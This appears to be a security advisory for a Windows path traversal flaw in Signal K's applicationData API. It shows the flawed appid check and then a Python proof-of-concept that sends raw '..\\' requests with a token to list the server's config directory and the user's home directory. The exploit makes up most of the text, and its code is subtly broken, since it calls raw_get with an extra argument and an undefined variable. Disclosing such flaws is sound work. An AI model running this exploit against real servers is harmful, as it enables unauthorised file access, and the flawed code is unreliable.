GHSA-vrhw-v2hw-jffx

// Simplified vulnerable code pattern function validateAppId(appid) { if (appid.includes('/') || appid.length >= 30) { return false; } return true; } // Later used in path construction const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);

#!/usr/bin/env python3 import argparse import http.client import json import sys from urllib.parse import urlparse PREFIX = "/signalk/v1/applicationData" def raw_get(base, path, token): """ GET using http.client so that '..' and backslashes in the URL are sent literally (requests/urllib would normalise them away). """ parsed = urlparse(base) host, port = parsed.hostname, parsed.port or 80 conn = http.client.HTTPConnection(host, port) conn.request("GET", path, headers={"Authorization": f"Bearer {token}"}) resp = conn.getresponse() status = resp.status body = resp.read().decode("utf-8", errors="replace") conn.close() return status, body def main(): ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC") ap.add_argument("--target", required=True, help="e.g. http://192.168.1.100:3000") ap.add_argument("--token", required=True, help="any valid JWT token") args = ap.parse_args() base = args.target.rstrip("/") # On Windows, path.join(configPath, "applicationData", "users", id, appid) # resolves each '..' upward when separated by backslashes. # # Depth from base (configPath/applicationData/users/): # .. → applicationData/users/ (1 level) # ..\.. → applicationData/ (2 levels) # ..\..\.. → configPath (.signalk) (3 levels) # ..\..\..\.. → user home directory (4 levels) traversals = [ ("..\\..\\..\\", ".signalk config directory"), ("..\\..\\..\\..\\", "user home directory"), ] for appid, description in traversals: path = f"{PREFIX}/user/{appid}" status, body = raw_get(base, path, token, args.token) print(f"[{status}] {description}") print(f" GET {path}") if status == 200: try: entries = json.loads(body) for entry in entries: print(f" {entry}") except json.JSONDecodeError: print(f" {body[:200]}") else: print(f" {body[:200]}") print() if __name__ == "__main__": main()